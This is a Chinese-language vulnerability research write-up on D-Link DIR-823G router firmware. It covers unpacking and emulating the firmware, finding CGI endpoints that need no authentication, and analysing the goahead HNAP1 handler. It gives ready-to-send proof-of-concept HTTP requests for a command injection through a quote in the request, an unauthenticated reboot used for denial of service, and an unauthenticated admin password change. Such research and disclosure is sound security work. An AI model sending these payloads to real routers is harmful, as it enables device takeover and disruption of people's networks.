前言


本文由 本人 首发于 先知安全技术社区: https://xz.aliyun.com/u/5274

初步分析

首先下载固件

https://gitee.com/hac425/blog_data/blob/master/iot/DIR823GA1_FW102B03.bin

用 binwalk 解开固件

发现这是一个 squashfs 文件系统,里面是标准的 linux 目录结构,所以这个固件应该是基于 linux 做的。

首先看看 etc/init.d/rcS , 以确定路由器开启的服务。发现最后会开启一个 goahead 进程

goahead 是一个开源的 web 服务器,用户的定制性非常强。可以通过一些 goahead 的 api定义 url 处理函数和可供 asp 文件中调用的函数,具体可以看看官方的代码示例和网上的一些教程。

这些自定义的函数就很容易会出现问题,这也是我们分析的重点。

模拟运行固件

为了后续的一些分析,我们先让固件运行起来,可以使用

https://github.com/attify/firmware-analysis-toolkit

这个工具其实就是整合了一些其他的开源工具,使得自动化的程度更高,具体看工具的 readme.

运行起来后,首先可以用 nmap 扫一下端口,看看路由器开了哪些端口

可以看到目前就开了 http 服务 和 dns 服务。

下面访问一下路由器的 web 接口

第一次访问路由器的 web 接口,就会要求用户做一些初始化设置,比如设置密码等。

攻击面分析

对于一个路由器,我的主要关注点有

  • 后门账户,默认密码
  • 敏感功能未授权访问
  • web 服务对各种请求的处理逻辑

经过上面简单的分析,发现只有 http 和 dns 服务是暴露在外的。http 服务的第一次访问就会要求输入新密码,所以默认密码的问题也不存在。下面分析 web 服务的处理逻辑。

经过简单的测试发现,web 目录应该是 web_mtn, 目录的结构如下

cgi 程序, 未授权访问

其中 cgi-bin 目录下存放着一些 cgi 文件,这些 cgi 文件没有权限的校验,非授权用户也可以直接访问, 可能会造成比较严重的影响。

/cgi-bin/ExportSettings.sh 导出配置文件(信息泄露)。

/cgi-bin/upload_settings.cgi 导入配置文件(恶意篡改配置)

/cgi-bin/GetDownLoadSyslog.sh 获取到系统的一些启动信息./var/log/messages*

/cgi-bin/upload_firmware.cgi 上传更新固件(恶意修改固件

goahead 中自定义的请求处理函数, 命令注入

goahead 不仅支持 cgi 的方式处理用户请求,同时支持直接在 goahead 函数内部自己定义 url 的处理函数。

比如

websUrlHandlerDefine(T("/goform"), NULL, 0, websFormHandler, 0);
websUrlHandlerDefine(T("/cgi-bin"), NULL, 0, websCgiHandler, 0);

就代表

  • /goform 的请求交给 websFormHandler 函数处理
  • /cgi-bin 的请求交给 websCgiHandler 函数处理

处理函数的参数列表为

int websCgiHandler(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg,
char_t *url, char_t *path, char_t* query)

其中 wp 这个参数是一个比较复杂的结构体指针,里面保存了各种用户请求的信息,比如 cookie, 请求的数据等。固件中也对该结构体做了很大的改动。

下面用 ida 打开固件中的 goahead 分析。

可以看到固件应该是被去掉了符号表。此时可以从字符串入手,可以通过 /cgi-bin 或者 /goform 找到定义 url 相应的处理函数的位置, 因为这两个是源码中默认有的。

通过交叉引用,最后找到注册处理函数的位置 0x42424C

可以看到这里注册了很多处理函数,通过 ida 的分析很容易看出 websUrlHandlerDefine 的第一个参数为 url, 第四个参数应该就是相应 url 的处理函数。

使用 burp 抓取登录的数据包,发现是往 /HNAP1 发送数据

下面分析分析 /HNAP1 处理函数的逻辑。 函数位于 0x42383C

这个函数的主要逻辑是从 wp 结构体中取出此次请求需要调用的函数名,然后去全局函数表里面搜索,找到之后在进行处理。

其中函数表位于 0x058C560

函数表的每一项的结构应该是

  • 4 字节 函数名的字符串地址
  • 4 字节 函数的地址

找到了需要调用的处理函数后,会首先记录 POST 的原始报文(通过运行过程查看日志文件,可以猜测出来)

这里记录日志采取的方式是 首先用 snprintf 生成命令, 然后使用 system 执行。我们可以直接注入 ' 来命令执行

POC:

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Length: 53
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Content-Type: text/xml; charset=UTF-8
Accept: */*
SOAPAction: "http://purenetworks.com/HNAP1/Login"
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close '`echo hacked_by_hac425!!!!!!!! > /web_mtn/hack.txt`'

最后会写内容到 /web_mtn/hack.txt, 然后可以通过 web 访问

HNAP1 接口继续分析

接着又接续分析了 /HNAP1 的处理,这个接口通过 soap 实现了 rpc 的功能,其中有的接口没有权限校验,会造成一些严重的问题。

reboot 接口没有校验,可以不断重启 , ddos

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Length: 298
Origin: http://192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Content-Type: text/xml; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
SOAPAction: "http://purenetworks.com/HNAP1/RunReboot"
Referer: http://192.168.0.1/reboot.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><RunReboot xmlns="http://purenetworks.com/HNAP1/" /></soap:Body></soap:Envelope>

修改密码接口,未授权访问,可修改密码

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Length: 402
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Content-Type: text/xml; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
SOAPAction: "http://purenetworks.com/HNAP1/SetPasswdSettings"
Referer: http://192.168.0.1/account.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetPasswdSettings xmlns="http://purenetworks.com/HNAP1/"><NewPassword>hackedbyhac425</NewPassword><ChangePassword>true</ChangePassword></SetPasswdSettings></soap:Body></soap:Envelope>

管理员密码会被改成 hackedbyhac425.

Dlink DIR-823G 漏洞挖掘过程的更多相关文章

  1. D-Link系列路由器漏洞挖掘入门

    D-Link系列路由器漏洞挖掘入门 前言 前几天去上海参加了geekpwn,看着大神们一个个破解成功各种硬件,我只能在下面喊 6666,特别羡慕那些大神们.所以回来就决定好好研究一下路由器,争取跟上大 ...

  2. D-Link系列路由器漏洞挖掘

    参考 http://www.freebuf.com/articles/terminal/153176.html https://paper.seebug.org/429/ http://www.s3c ...

  3. semcms 网站漏洞挖掘过程与安全修复防范

    emcms是国内第一个开源外贸的网站管理系统,目前大多数的外贸网站都是用的semcms系统,该系统兼容许多浏览器,像IE,google,360极速浏览器都能非常好的兼容,官方semcms有php版本, ...

  4. WEB漏洞挖掘技术总结

    漏洞挖掘技术一直是网络攻击者最感兴趣的问题,漏洞挖掘的范围也在随着技术的提升而有所变化.在前期针对缓冲区溢出.格式化字符串.堆溢出.lib库溢出等技术都是针对ELF文件(Linux可执行文件)或者PE ...

  5. 关于PHP代码审计和漏洞挖掘的一点思考

    这里对PHP的代码审计和漏洞挖掘的思路做一下总结,都是个人观点,有不对的地方请多多指出. PHP的漏洞有很大一部分是来自于程序员本身的经验不足,当然和服务器的配置有关,但那属于系统安全范畴了,我不太懂 ...

  6. 小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含

    手动漏洞挖掘 漏洞类型 #Directory traversal 目录遍历[本台机器操作系统上文件进行读取] 使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录[默认为:/var/ ...

  7. 小白日记35:kali渗透测试之Web渗透-手动漏洞挖掘(一)-默认安装引发的漏洞

    手动漏洞挖掘 即扫描后,如何对发现的漏洞告警进行验证. #默认安装 流传linux操作系统比windows系统安全的说法,是因为windows系统默认安装后,会开放很多服务和无用的端口,而且未经过严格 ...

  8. 可编程逻辑控制器(PLC)漏洞挖掘思路与验证

    mailto wangkai0351@gmail.com 随时记录千奇百怪的漏洞挖掘思路,主要针对STEP7 v5+西门子S7-300/400系列PLC,欢迎同行前来交流. 组态信息下载完整性攻击 思 ...

  9. [网站安全] [实战分享]WEB漏洞挖掘的一些经验分享

    WEB漏洞有很多种,比如SQL注入,比如XSS,比如文件包含,比如越权访问查看,比如目录遍历等等等等,漏洞带来的危害有很多,信息泄露,文件上传到GETSHELL,一直到内网渗透,这里我想分享的最主要的 ...

随机推荐

  1. rabbitmq系列二 之工作队列

    ---恢复内容开始--- 1.工作队列的简介 在上一篇中,我们已经写了一个从已知队列中发送和获取消息的程序,在这里,我们创建一个工作队列(work queue), 会发送一些耗时的任务给多个工作者.模 ...

  2. 使用Jacob操作Wrod文档的工具类代码

    一.需要有jacob的jar包支持 import java.util.Iterator; import java.util.List; import java.util.HashMap; import ...

  3. 一口一口吃掉Hexo(六)

    如果你想得到更好的阅读效果,请访问我的个人网站 ,版权所有,未经许可不得转载! 不知不觉已经更新到了最后一节了,很开心你能看到这一节,相信你也已经在你的虚拟主机上成功部署了你的网站,但是可能总会遇到一 ...

  4. thread 带参数

    在 .NET Framework 2.0 版中,要实现线程调用带参数的方法有两种办法. 第一种:使用ParameterizedThreadStart. 调用 System.Threading.Thre ...

  5. Unable to handle kernel NULL pointer dereference at virtual address 00000000问题的解决

    今天在编译好内核模块后,安装内核模块memdev.ko的时候,出现了Unable to handle kernel NULL pointer dereference at virtual addres ...

  6. dos命令行运行.class源文件错误解决办法

    dos命令行运行java源文件 public static void main(String[] args) throws IOException { // TODO Auto-generated m ...

  7. 03-python的新式类和经典类区别

    新式类就是  class person(object): 这种形式的, 从py2.2 开始出现的 新式类添加了: __name__ is the attribute's name. __doc__ i ...

  8. onclick时间加return和不加return的区别

    JAVASCRIPT在事件中调用函数时用return返回值实际上是对window.event.returnvalue进行设置. 而该值决定了当前操作是否继续.当返回的是true时,将继续操作.当返回是 ...

  9. 使用Quartz.net来执行定时任务

    Quartz.net使用方法:http://www.cnblogs.com/lizichao1991/p/5707604.html 最近,项目中需要执行一个计划任务,组长就让我了解一下Quartz.n ...

  10. Spring的@Scheduled任务调度

    一. 定时任务实现方式 定时任务实现方式: Java自带的java.util.Timer类,这个类允许你调度一个java.util.TimerTask任务.使用这种方式可以让你的程序按照某一个频度执行 ...